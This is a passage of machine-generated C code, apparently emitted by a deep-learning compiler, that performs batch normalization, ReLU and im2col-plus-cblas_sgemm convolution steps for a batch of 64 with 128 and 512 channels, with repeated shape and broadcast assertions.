x6118 = x6100 * x6107;\nint32_t x6119 = x6117 + x6118;\nint32_t x6113 = x6090 * x6107;\nfor(int x6108=0; x6108 < x6090; x6108++) {\nint32_t x6120 = x6101 * x6108;\nint32_t x6121 = x6119 + x6120;\nfloat x6123 = x5972[x6121];\nfloat x6124 = x128[x6122];\nint32_t x6110 = x6108 + x6109;\nint32_t x6112 = x6110 + x6111;\nint32_t x6114 = x6112 + x6113;\nfloat x6125 = x6123 - x6124;\nx6099[x6114] = x6125;\n\n}\n\n}\n\n}\n\n}\nfloat* x6135 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x6136=0; x6136 < 128; x6136++) {\nfloat x6137 = x43[x6136];\nfloat x6138 = x6137 + 1.0E-5f;\nx6135[x6136] = x6138;\n\n}\nfloat* x6142 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x6143=0; x6143 < 128; x6143++) {\nfloat x6144 = x6135[x6143];\ndouble x6145 = (double)x6144;\ndouble x6146 = sqrt(x6145);\nfloat x6147 = (float)x6146;\nx6142[x6143] = x6147;\n\n}\nint32_t x6151 = 0;\nint32_t x6152 = 1;\nx6152 *= 1;\nx6151 += 1;\nx6152 *= 1;\nx6152 *= 1;\nint32_t x6157 = x6151;\nbool x6158 = x6157 >= 2;\nif (x6158) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6163 = x6157 == 0;\nif (x6163) {\nint32_t x6164 = x6152;\nbool x6165 = x6164 == 128;\nif (x6165) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6172 = x6152;\nbool x6174 = x6088 == 1;\nint32_t x6173 = 128 / x6172;\nbool x6175 = x6173 == 1;\nbool x6179;\nif (x454) {\nbool x6176 = x6174 || x6175;\nbool x6177 = x6088 == x6173;\nbool x6178 = x6176 || x6177;\nx6179 = x6178;\n} else {\nx6179 = false;\n}\nbool x6183;\nif (x6179) {\nx6183 = x6182;\n} else {\nx6183 = false;\n}\nbool x6184;\nif (x6183) {\nx6184 = x6182;\n} else {\nx6184 = false;\n}\nif (x6184) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x6088,x6090,x6090,1,x6173,1,1);\nassert(false && \"\");\n}\nbool x6190 = x6088 <= x6173;\nint32_t x6191;\nif (x6190) {\nx6191 = x6173;\n} else {\nx6191 = x6088;\n}\nint32_t x6200 = x6191 * x6199;\nint32_t x6201 = 64 * x6200;\nfloat* x6202 = (float*)myMalloc(x6201 * sizeof(float));;\nint32_t x6203;\nif (x6174) {\nx6203 = 0;\n} else {\nx6203 = x6096;\n}\nint32_t x6206;\nif (x6175) {\nx6206 = 0;\n} else {\nx6206 = 1;\n}\nfor(int x6207=0; x6207 < 64; x6207++) {\nint32_t x6219 = x6097 * x6207;\nint32_t x6213 = x6200 * x6207;\nfor(int x6209=0; x6209 < x6191; x6209++) {\nint32_t x6220 = x6203 * x6209;\nint32_t x6221 = x6219 + x6220;\nint32_t x6226 = x6206 * x6209;\nint32_t x6215 = x6199 * x6209;\nfor(int x6211=0; x6211 < x6193; x6211++) {\nint32_t x6222 = x6204 * x6211;\nint32_t x6223 = x6221 + x6222;\nint32_t x6217 = x6193 * x6211;\nfor(int x6212=0; x6212 < x6193; x6212++) {\nint32_t x6224 = x6205 * x6212;\nint32_t x6225 = x6223 + x6224;\nfloat x6227 = x6099[x6225];\nfloat x6228 = x6142[x6226];\nint32_t x6214 = x6212 + x6213;\nint32_t x6216 = x6214 + x6215;\nint32_t x6218 = x6216 + x6217;\nfloat x6229 = x6227 / x6228;\nx6202[x6218] = x6229;\n\n}\n\n}\n\n}\n\n}\nint32_t x6239 = 0;\nint32_t x6240 = 1;\nx6240 *= 1;\nx6239 += 1;\nx6240 *= 1;\nx6240 *= 1;\nint32_t x6245 = x6239;\nbool x6246 = x6245 >= 2;\nif (x6246) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6251 = x6245 == 0;\nif (x6251) {\nint32_t x6252 = x6240;\nbool x6253 = x6252 == 128;\nif (x6253) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6260 = x6240;\nbool x6262 = x6191 == 1;\nint32_t x6261 = 128 / x6260;\nbool x6263 = x6261 == 1;\nbool x6267;\nif (x454) {\nbool x6264 = x6262 || x6263;\nbool x6265 = x6191 == x6261;\nbool x6266 = x6264 || x6265;\nx6267 = x6266;\n} else {\nx6267 = false;\n}\nbool x6271;\nif (x6267) {\nx6271 = x6270;\n} else {\nx6271 = false;\n}\nbool x6272;\nif (x6271) {\nx6272 = x6270;\n} else {\nx6272 = false;\n}\nif (x6272) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x6191,x6193,x6193,1,x6261,1,1);\nassert(false && \"\");\n}\nbool x6278 = x6191 <= x6261;\nint32_t x6279;\nif (x6278) {\nx6279 = x6261;\n} else {\nx6279 = x6191;\n}\nint32_t x6288 = x6279 * x6287;\nint32_t x6289 = 64 * x6288;\nfloat* x6290 = (float*)myMalloc(x6289 * sizeof(float));;\nint32_t x6291;\nif (x6262) {\nx6291 = 0;\n} else {\nx6291 = x6199;\n}\nint32_t x6294;\nif (x6263) {\nx6294 = 0;\n} else {\nx6294 = 1;\n}\nfor(int x6295=0; x6295 < 64; x6295++) {\nint32_t x6307 = x6200 * x6295;\nint32_t x6301 = x6288 * x6295;\nfor(int x6297=0; x6297 < x6279; x6297++) {\nint32_t x6308 = x6291 * x6297;\nint32_t x6309 = x6307 + x6308;\nint32_t x6314 = x6294 * x6297;\nint32_t x6303 = x6287 * x6297;\nfor(int x6299=0; x6299 < x6281; x6299++) {\nint32_t x6310 = x6292 * x6299;\nint32_t x6311 = x6309 + x6310;\nint32_t x6305 = x6281 * x6299;\nfor(int x6300=0; x6300 < x6281; x6300++) {\nint32_t x6312 = x6293 * x6300;\nint32_t x6313 = x6311 + x6312;\nfloat x6315 = x6202[x6313];\nfloat x6316 = x252[x6314];\nint32_t x6302 = x6300 + x6301;\nint32_t x6304 = x6302 + x6303;\nint32_t x6306 = x6304 + x6305;\nfloat x6317 = x6315 * x6316;\nx6290[x6306] = x6317;\n\n}\n\n}\n\n}\n\n}\nint32_t x6327 = 0;\nint32_t x6328 = 1;\nx6328 *= 1;\nx6327 += 1;\nx6328 *= 1;\nx6328 *= 1;\nint32_t x6333 = x6327;\nbool x6334 = x6333 >= 2;\nif (x6334) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6339 = x6333 == 0;\nif (x6339) {\nint32_t x6340 = x6328;\nbool x6341 = x6340 == 128;\nif (x6341) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6348 = x6328;\nbool x6350 = x6279 == 1;\nint32_t x6349 = 128 / x6348;\nbool x6351 = x6349 == 1;\nbool x6355;\nif (x454) {\nbool x6352 = x6350 || x6351;\nbool x6353 = x6279 == x6349;\nbool x6354 = x6352 || x6353;\nx6355 = x6354;\n} else {\nx6355 = false;\n}\nbool x6359;\nif (x6355) {\nx6359 = x6358;\n} else {\nx6359 = false;\n}\nbool x6360;\nif (x6359) {\nx6360 = x6358;\n} else {\nx6360 = false;\n}\nif (x6360) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x6279,x6281,x6281,1,x6349,1,1);\nassert(false && \"\");\n}\nbool x6366 = x6279 <= x6349;\nint32_t x6367;\nif (x6366) {\nx6367 = x6349;\n} else {\nx6367 = x6279;\n}\nint32_t x6376 = x6367 * x6375;\nint32_t x6377 = 64 * x6376;\nfloat* x6378 = (float*)myMalloc(x6377 * sizeof(float));;\nint32_t x6379;\nif (x6350) {\nx6379 = 0;\n} else {\nx6379 = x6287;\n}\nint32_t x6382;\nif (x6351) {\nx6382 = 0;\n} else {\nx6382 = 1;\n}\nfor(int x6383=0; x6383 < 64; x6383++) {\nint32_t x6395 = x6288 * x6383;\nint32_t x6389 = x6376 * x6383;\nfor(int x6385=0; x6385 < x6367; x6385++) {\nint32_t x6396 = x6379 * x6385;\nint32_t x6397 = x6395 + x6396;\nint32_t x6402 = x6382 * x6385;\nint32_t x6391 = x6375 * x6385;\nfor(int x6387=0; x6387 < x6369; x6387++) {\nint32_t x6398 = x6380 * x6387;\nint32_t x6399 = x6397 + x6398;\nint32_t x6393 = x6369 * x6387;\nfor(int x6388=0; x6388 < x6369; x6388++) {\nint32_t x6400 = x6381 * x6388;\nint32_t x6401 = x6399 + x6400;\nfloat x6403 = x6290[x6401];\nfloat x6404 = x190[x6402];\nint32_t x6390 = x6388 + x6389;\nint32_t x6392 = x6390 + x6391;\nint32_t x6394 = x6392 + x6393;\nfloat x6405 = x6403 + x6404;\nx6378[x6394] = x6405;\n\n}\n\n}\n\n}\n\n}\nfloat* x6415 = (float*)myMalloc(x6377 * sizeof(float));;\nfor(int x6417=0; x6417 < x6377; x6417++) {\nfloat x6418 = x6378[x6417];\nbool x6419 = x6418 < 0.0f;\nif (x6419) {\nx6415[x6417] = 0.0f;\n} else {\nfloat x6422 = x6378[x6417];\nx6415[x6417] = x6422;\n}\n\n}\nfloat* x6436 = (float*)myMalloc(x6435 * sizeof(float));;\nint32_t x6439 = 64 * x6367;\nint32_t x6440 = x6439 * x6431;\nfloat* x6441 = (float*)myMalloc(x6440 * sizeof(float));;\nint32_t x6437 = x6367 * x6431;\nfor(int x6442=0; x6442 < 64; x6442++) {\nint32_t x6443 = x6442 * x6376;\nfloat* x6444 = x6415+x6443;\nint32_t x6445 = x6442 * x6432;\nfloat* x6446 = x6436+x6445;\nint32_t x6447 = x6442 * x6437;\nfloat* x6448 = x6441+x6447;\nfor(int x6449=0; x6449 < x6367; x6449++) {\nint32_t x6450 = x6449 / 1;\nint32_t x6454 = x6450 * x6430;\nint32_t x6455 = x6454 * x6430;\nint32_t x6451 = x6449 % 1;\nint32_t x6452 = x6451 / 1;\nint32_t x6456 = x6452 * x6430;\nint32_t x6457 = x6456 * x6430;\nint32_t x6458 = x6455 + x6457;\nint32_t x6453 = x6451 % 1;\nint32_t x6459 = x6453 * x6430;\nint32_t x6460 = x6459 * x6430;\nint32_t x6461 = x6458 + x6460;\nfloat* x6462 = x6448+x6461;\nint32_t x6463 = x6450 * x6369;\nint32_t x6464 = x6463 * x6369;\nfloat* x6465 = x6444+x6464;\nfor(int x6467=0; x6467 < x6430; x6467++) {\nint32_t x6469 = x6467 * x6430;\nfloat* x6470 = x6462+x6469;\nint32_t x6468 = x6467 + x6452;\nint32_t x6471 = x6468 * x6369;\nint32_t x6472 = x6471 + x6453;\nfloat* x6473 = x6465+x6472;\nmemcpy(x6470, x6473, 4 * x6430);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x6431,x6367,1,x106,x6367,x6448,x6431,1,x6446,x6431);\n\n}\nint32_t x6482 = 0;\nint32_t x6483 = 1;\nx6483 *= 1;\nx6482 += 1;\nx6483 *= 1;\nx6483 *= 1;\nint32_t x6488 = x6482;\nbool x6489 = x6488 >= 2;\nif (x6489) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6494 = x6488 == 0;\nif (x6494) {\nint32_t x6495 = x6483;\nbool x6496 = x6495 == 512;\nif (x6496) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6503 = x6483;\nint32_t x6504 = 512 / x6503;\nbool x6505 = x6504 == 1;\nbool x6508;\nif (x454) {\nbool x6506 = 512 == x6504;\nbool x6507 = x6505 || x6506;\nx6508 = x6507;\n} else {\nx6508 = false;\n}\nbool x6512;\nif (x6508) {\nx6512 = x6511;\n} else {\nx6512 = false;\n}\nbool x6513;\nif (x6512) {\nx6513 = x6511;\n} else {\nx6513 = false;\n}\nif (x6513) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x6430,x6430,1,x6504,1,1);\nassert(false && \"\");\n}\nbool x6519 = 512 <= x6504;\nint32_t x6520;\nif (x6519) {\nx6520 = x6504;\n} else {\nx6520 = 512;\n}\nint32_t x6529 = x6520 * x6528;\nint32_t x6530 = 64 * x6529;\nfloat* x6531 = (float*)myMalloc(x6530 * sizeof(float));;\nint32_t x6534;\nif (x6505) {\nx6534 = 0;\n} else {\nx6534 = 1;\n}\nfor(int x6535=0; x6535 < 64; x6535++) {\nint32_t x6547 = x6432 * x6535;\nint32_t x6541 = x6529 * x6535;\nfor(int x6537=0; x6537 < x6520; x6537++) {\nint32_t x6548 = x6431 * x6537;\nint32_t x6549 = x6547 + x6548;\nint32_t x6554 = x6534 * x6537;\nint32_t x6543 = x6528 * x6537;\nfor(int x6539=0; x6539 < x6522; x6539++) {\nint32_t x6550 = x6532 * x6539;\nint32_t x6551 = x6549 + x6550;\nint32_t x6545 = x6522 * x6539;\nfor(int x6540=0; x6540 < x6522; x6540++) {\nint32_t x6552 = x6533 * x6540;\nint32_t x6553 = x6551 + x6552;\nfloat x6555 = x6436[x6553];\nfloat x6556 = x149[x6554];\nint32_t x6542 = x6540 + x6541;\nint32_t x6544 = x6542 + x6543;\nint32_t x6546 = x6544 + x6545;\nfloat x6557 = x6555 - x6556;\nx6531[x6546] = x6557;\n\n}\n\n}\n\n}\n\n}\nfloat* x6567 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x6569=0; x6569 < 512; x6569++) {\nfloat x6570 = x101[x6569];\nfloat x6571 = x6570 + 1.0E-5f;\nx6567[x6569] = x6571;\n\n}\nfloat* x6575 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x6576=0; x6576 < 512; x6576++) {\nfloat x6577 = x6567[x6576];\ndouble x6578 = (double)x6577;\ndouble x6579 = sqrt(x6578);\nfloat x6580 = (float)x6579;\nx6575[x6576] = x6580;\n\n}\nint32_t x6584 = 0;\nint32_t x6585 = 1;\nx6585 *= 1;\nx6584 += 1;\nx6585 *= 1;\nx6585 *= 1;\nint32_t x6590 = x6584;\nbool x6591 = x6590 >= 2;\nif (x6591) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6596 = x6590 == 0;\nif (x6596) {\nint32_t x6597 = x6585;\nbool x6598 = x6597 == 512;\nif (x6598) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6605 = x6585;\nbool x6607 = x6520 == 1;\nint32_t x6606 = 512 / x6605;\nbool x6608 = x6606 == 1;\nbool x6612;\nif (x454) {\nbool x6609 = x6607 || x6608;\nbool x6610 = x6520 == x6606;\nbool x6611 = x6609 || x6610;\nx6612 = x6611;\n} else {\nx6612 = false;\n}\nbool x6616;\nif (x6612) {\nx6616 = x6615;\n} else {\nx6616 = false;\n}\nbool x6617;\nif (x6616) {\nx6617 = x6615;\n} else {\nx6617 = false;\n}\nif (x6617) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x6520,x6522,x6522,1,x6606,1,1);\nassert(false && \"\");\n}\nbool x6623 = x6520 <= x6606;\nint32_t x6624;\nif (x6623) {\nx6624 = x6606;\n} else {\nx6624 = x6520;\n}\nint32_t x6633 = x6624 * x6632;\nint32_t x6634 = 64 * x6633;\nfloat* x6635 = (float*)myMalloc(x6634 * sizeof(float));;\nint32_t x6636;\nif (x6607) {\nx6636 = 0;\n} else {\nx6636 = x6528;\n}\nint32_t x6639;\nif (x6608) {\nx6639 = 0;\n} else {\nx6639 = 1;\n}\nfor(int x6640=0; x6640 < 64; x6640++) {\nint32_t x6652 = x6529 * x6640;\nint32_t x6646 = x6633 * x6640;\nfor(int x6642=0; x6642 < x6624; x6642++) {\nint32_t x6653 = x6636 * x6642;\nint32_t x6654 = x6652 + x6653;\nint32_t x6659 = x6639 * x6642;\nint32_t x6648 = x6632 * x6642;\nfor(int x6644=0; x6644 < x6626; x6644++) {\nint32_t x6655 = x6637 * x6644;\nint32_t x6656 = x6654 + x6655;\nint32_t x6650 = x6626 * x6644;\nfor(int x6645=0; x6645 < x6626; x6645++) {\nint32_t x6657 = x6638 * x6645;\nint32_t x6658 = x6656 + x6657;\nfloat x6660 = x6531[x6658];\nfloat x6661 = x6575[x6659];\nint32_t x6647 = x6645 + x6646;\nint32_t x6649 = x6647 + x6648;\nint32_t x6651 = x6649 + x6650;\nfloat x6662 = x6660 / x6661;\nx6635[x6651] = x6662;\n\n}\n\n}\n\n}\n\n}\nint32_t x6672 = 0;\nint32_t x6673 = 1;\nx6673 *= 1;\nx6672 += 1;\nx6673 *= 1;\nx6673 *= 1;\nint32_t x6678 = x6672;\nbool x6679 = x6678 >= 2;\nif (x6679) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6684 = x6678 == 0;\nif (x6684) {\nint32_t x6685 = x6673;\nbool x6686 = x6685 == 512;\nif (x6686) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6693 = x6673;\nbool x6695 = x6624 == 1;\nint32_t x6694 = 512 / x6693;\nbool x6696 = x6694 == 1;\nbool x6700;\nif (x454) {\nbool x6697 = x6695 || x6696;\nbool x6698 = x6624 == x6694;\nbool x6699 = x6697 || x6698;\nx6700 = x6699;\n} else {\nx6700 = false;\n}\nbool x6704;\nif (x6700) {\nx6704 = x6703;\n} else {\nx6704 = false;\n}\nbool x6705;\nif (x6704) {\nx6705 = x6703;\n} else {\nx6705 = false;\n}\nif (x6705) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x6624,x6626,x6626,1,x6694,1,1);\nassert(false && \"\");\n}\nbool x6711 = x6624 <= x6694;\nint32_t x6712;\nif (x6711) {\nx6712 = x6694;\n} else {\nx6712 = x6624;\n}\nint32_t x6721 = x6712 * x6720;\nint32_t x6722 = 64 * x6721;\nfloat* x6723 = (float*)myMalloc(x6722 * sizeof(float));;\nint32_t x6724;\nif (x6695) {\nx6724 = 0;\n} else {\nx6724 = x6632;\n}\nint32_t x6727;\nif (x6696) {\nx6727 = 0;\n} else {\nx6727 = 1;\n}\nfor(int x6728=0; x6728 < 64; x6728++) {\nint32_t x6740 = x6633 * x6728;\nint32_t x6734 = x6721 * x6728;\nfor(int x6730=0; x6730 < x6712; x6730++) {\nint32_t x6741 = x6724 * x6730;\nint32_t x6742 = x6740 + x6741;\nint32_t x6747 = x6727 * x6730;\nint32_t x6736 = x6720 * x6730;\nfor(int x6732=0; x6732 < x6714; x6732++) {\nint32_t x6743 = x6725 * x6732;\nint32_t x6744 = x6742 + x6743;\nint32_t x6738 = x6714 * x6732;\nfor(int x6733=0; x6733 < x6714; x6733++) {\nint32_t x6745 = x6726 * x6733;\nint32_t x6746 = x6744 + x6745;\nfloat x6748 = x6635[x6746];\nfloat x6749 = x145[x6747];\nint32_t x6735 = x6733 + x6734;\nint32_t x6737 = x6735 + x6736;\nint32_t x6739 = x6737 + x6738;\nfloat x6750 = x6748 * x6749;\nx6723[x6739] = x6750;\n\n}\n\n}\n\n}\n\n}\nint32_t x6760 = 0;\nint32_t x6761 = 1;\nx6761 *= 1;\nx6760 += 1;\nx6761 *= 1;\nx6761 *= 1;\nint32_t x6766 = x6760;\nbool x6767 = x6766 >= 2;\nif (x6767) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6772 = x6766 == 0;\nif (x6772) {\nint32_t x6773 = x6761;\nbool x6774 = x6773 == 512;\nif (x6774) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6781 = x6761;\nbool x6783 = x6712 == 1;\nint32_t x6782 = 512 / x6781;\nbool x6784 = x6782 == 1;\nbool x6788;\nif (x454) {\nbool x6785 = x6783 || x6784;\nbool x6786 = x6712 == x6782;\nbool x6787 = x6785 || x6786;\nx6788 = x6787;\n} else {\nx6788 = false;\n}\nbool x6792;\nif (x6788) {\nx6792 = x6791;\n} else {\nx6792 = false;\n}\nbool x6793;\nif (x6792) {\nx6793 = x6791;\n} else {\nx6793 = false;\n}\nif (x6793) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x6712,x6714,x6714,1,x6782,1,1);\nassert(false && \"\");\n}\nbool x6799 = x6712 <= x6782;\nint32_t x6800;\nif (x6799) {\nx6800 = x6782;\n} else {\nx6800 = x6712;\n}\nint32_t x6809 = x6800 * x6808;\nint32_t x6810 = 64 * x6809;\nfloat* x6811 = (float*)myMalloc(x6810 * sizeof(float));;\nint32_t x6812;\nif (x6783) {\nx6812 = 0;\n} else {\nx6812 = x6720;\n}\nint32_t x6815;\nif (x6784) {\nx6815 = 0;\n} else {\nx6815 = 1;\n}\nfor(int x6816=0; x6816 < 64; x6816++) {\nint32_t x6828 = x6721 * x6816;\nint32_t x6822 = x6809 * x6816;\nfor(int x6818=0; x6818 < x6800; x6818++) {\nint32_t x6829 = x6812 * x6818;\nint32_t x6830 = x6828 + x6829;\nint32_t x6835 = x6815 * x6818;\nint32_t x6824 = x6808 * x6818;\nfor(int x6820=0; x6820 < x6802; x6820++) {\nint32_t x6831 = x6813 * x6820;\nint32_t x6832 = x6830 + x6831;\nint32_t x6826 = x6802 * x6820;\nfor(int x6821=0; x6821 < x6802; x6821++) {\nint32_t x6833 = x6814 * x6821;\nint32_t x6834 = x6832 + x6833;\nfloat x6836 = x6723[x6834];\nfloat x6837 = x210[x6835];\nint32_t x6823 = x6821 + x6822;\nint32_t x6825 = x6823 + x6824;\nint32_t x6827 = x6825 + x6826;\nfloat x6838 = x6836 + x6837;\nx6811[x6827] = x6838;\n\n}\n\n}\n\n}\n\n}\nfloat* x6855 = (float*)myMalloc(x6854 * sizeof(float));;\nint32_t x6858 = x5541 * x6850;\nfloat* x6859 = (float*)myMalloc(x6858 * sizeof(float));;\nint32_t x6856 = x5402 * x6850;\nfor(int x6860=0; x6860 < 64; x6860++) {\nint32_t x6861 = x6860 * x5411;\nfloat* x6862 = x5517+x6861;\nint32_t x6863 = x6860 * x6851;\nfloat* x6864 = x6855+x6863;\nint32_t x6865 = x6860 * x6856;\nfloat* x6866 = x6859+x6865;\nfor(int x6867=0; x6867 < x5402; x6867++) {\nint32_t x6868 = x6867 / 1;\nint32_t x6872 = x6868 * x6849;\nint32_t x6873 = x6872 * x6849;\nint32_t x6869 = x6867 % 1;\nint32_t x6870 = x6869 / 1;\nint32_t x6874 = x6870 * x6849;\nint32_t x6875 = x6874 * x6849;\nint32_t x6876 = x6873 + x6875;\nint32_t x6871 = x6869 % 1;\nint32_t x6877 = x6871 * x6849;\nint32_t x6878 = x6877 * x6849;\nint32_t x6879 = x6876 + x6878;\nfloat* x6880 = x6866+x6879;\nint32_t x6881 = x6868 * x5404;\nint32_t x6882 = x6881 * x5404;\nfloat* x6883 = x6862+x6882;\nfor(int x6885=0; x6885 < x6849; x6885++) {\nint32_t x6889 = x6885 * x6849;\nint32_t x6886 = x6885 * 2;\nint32_t x6887 = x6886 + x6870;\nint32_t x6892 = x6887 * x5404;\nint32_t x6893 = x6892 + x6871;\nfor(int x6888=0; x6888 < x6849; x6888++) {\nint32_t x6890 = x6889 + x6888;\nfloat* x6891 = x6880+x6890;\nint32_t x6894 = x6888 * 2;\nint32_t x6895 = x6893 + x6894;\nfloat* x6896 = x6883+x6895;\nmemcpy(x6891, x6896, 4 * 1);;\n\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x6850,x5402,1,x258,x5402,x6866,x6850,1,x6864,x6850);\n\n}\nint32_t x6907 = 0;\nint32_t x6908 = 1;\nx6908 *= 1;\nx6907 += 1;\nx6908 *= 1;\nx6908 *= 1;\nint32_t x6913 = x6907;\nbool x6914 = x6913 >= 2;\nif (x6914) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6919 = x6913 == 0;\nif (x6919) {\nint32_t x6920 = x6908;\nbool x6921 = x6920 == 512;\nif (x6921) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6928 = x6908;\nint32_t x6929 = 512 / x6928;\nbool x6930 = x6929 == 1;\nbool x6933;\nif (x454) {\nbool x6931 = 512 == x6929;\nbool x6932 = x6930 || x6931;\nx6933 = x6932;\n} else {\nx6933 = false;\n}\nbool x6937;\nif (x6933) {\nx6937 = x6936;\n} else {\nx6937 = false;\n}\nbool x6938;\nif (x6937) {\nx6938 = x6936;\n} else {\nx6938 = false;\n}\nif (x6938) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x6849,x6849,1,x6929,1,1);\nassert(false && \"\");\n}\nbool x6944 = 512 <= x6929;\nint32_t x6945;\nif (x6944) {\nx6945 = x6929;\n} else {\nx6945 = 512;\n}\nint32_t x6954 = x6945 * x6953;\nint32_t x6955 = 64 * x6954;\nfloat* x6956 = (float*)myMalloc(x6955 * sizeof(float));;\nint32_t x6959;\nif (x6930) {\nx6959 = 0;\n} else {\nx6959 = 1;\n}\nfor(int x6960=0; x6960 < 64; x6960++) {\nint32_t x6972 = x6851 * x6960;\nint32_t x6966 = x6954 * x6960;\nfor(int x6962=0; x6962 < x6945; x6962++) {\nint32_t x6973 = x6850 * x6962;\nint32_t x6974 = x6972 + x6973;\nint32_t x6979 = x6959 * x6962;\nint32_t x6968 = x6953 * x6962;\nfor(int x6964=0; x6964 < x6947; x6964++) {\nint32_t x6975 = x6957 * x6964;\nint32_t x6976 = x6974 + x6975;\nint32_t x6970 = x6947 * x6964;\nfor(int x6965=0; x6965 < x6947; x6965++) {\nint32_t x6977 = x6958 * x6965;\nint32_t x6978 = x6976 + x6977;\nfloat x6980 = x6855[x6978];\nfloat x6981 = x42[x6979];\nint32_t x6967 = x6965 + x6966;\nint32_t x6969 = x6967 + x6968;\nint32_t x6971 = x6969 + x6970;\nfloat x6982 = x6980 - x6981;\nx6956[x6971] = x6982;\n\n}\n\n}\n\n}\n\n}\nfloat* x6992 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x6993=0; x6993 < 512; x6993++) {\nfloat x6994 = x23[x6993];\nfloat x6995 = x6994 + 1.0E-5f;\nx6992[x6993] = x6995;\n\n}\nfloat* x6999 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x7000=0; x7000 < 512; x7000++) {\nfloat x7001 = x6992[x7000];\ndouble x7002 = (double)x7001;\ndouble x7003 = sqrt(x7002);\nfloat x7004 = (float)x7003;\nx6999[x7000] = x7004;\n\n}\nint32_t x7008 = 0;\nint32_t x7009 = 1;\nx7009 *= 1;\nx7008 += 1;\nx7009 *= 1;\nx7009 *= 1;\nint32_t x7014 = x7008;\nbool x7015 = x7014 >= 2;\nif (x7015) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x7020 = x7014 == 0;\nif (x7020) {\nint32_t x7021 = x7009;\nbool x7022 = x7021 == 512;\nif (x7022) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x7029 = x7009;\nbool x7031 = x6945 == 1;\nint32_t x7030 = 512 / x7029;\nbool x7032 = x7030 == 1;\nbool x7036;\nif (x454) {\nbool x7033 = x7031 || x7032;\nbool x7034 = x6945 == x7030;\nbool x7035 = x7033 || x7034;\nx7036 = x7035;\n} else {\nx7036 = false;\n}\nbool x7040;\nif (x7036) {\nx7040 = x7039;\n} else {\nx7040 = false;\n}\nbool x7041;\nif (x7040) {\nx7041 = x7039;\n} else {\nx7041 = false;\n}\nif (x7041) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x6945,x6947,x6947,1,x7030,1,1);\nassert(false && \"\");\n}\nbool x7047 = x6945 <= x7030;\nint32_t x7048;\nif (x7047) {\nx7048 = x7030;\n} else {\nx7048 = x6945;\n}\nint32_t x7057 = x7048 * x7056;\nint32_t x7058 = 64 * x7057;\nfloat* x7059 = (float*)myMalloc(x7058 * sizeof(float));;\nint32_t x7060;\nif (x7031) {\nx7060 = 0;\n} else {\nx7060 = x6953;\n}\nint32_t x7063;\nif (x7032) {\nx7063 = 0;\n} else {\nx7063 = 1;\n}\nfor(int x7064=0; x7064 < 64; x7064++) {\nint32_t x7076 = x6954 * x7064;\nint32_t x7070 = x7057 * x7064;\nfor(int x7066=0; x7066 < x7048; x7066++) {\nint32_t x7077 = x7060 * x7066;\nint32_t x7078 = x7076 + x7077;\nint32_t x7083 = x7063 * x7066;\nint32_t x7072 = x7056 * x7066;\nfor(int x7068=0; x7068 < x7050; x7068++) {\nint32_t x7079 = x7061 * x7068;\nint32_t x7080 = x7078 + x7079;\nint32_t x7074 = x7050 * x7068;\nfor(int x7069=0; x7069 < x7050; x7069++) {\nint32_t x7081 = x7062 * x7069;\nint32_t x7082 = x7080 + x7081;\nfloat x7084 = x6956[x7082];\nfloat x7085 = x6999[x7083];\nint32_t x7071 = x7069 + x7070;\nint32_t x7073 = x7071 + x7072;\nint32_t x7075 = x7073 + x7074;\nfloat x7086 = x7084 / x7085;\nx7059[x7075] = x7086;\n\n}\n\n}\n\n}\n\n}\nint32_t x7096 = 0;\nint32_t x7097 = 1;\nx7097 *= 1;\nx7096 += 1;\nx7097 *= 1;\nx7097 *= 1;\nint32_t x7102 = x7096;\nbool x7103 = 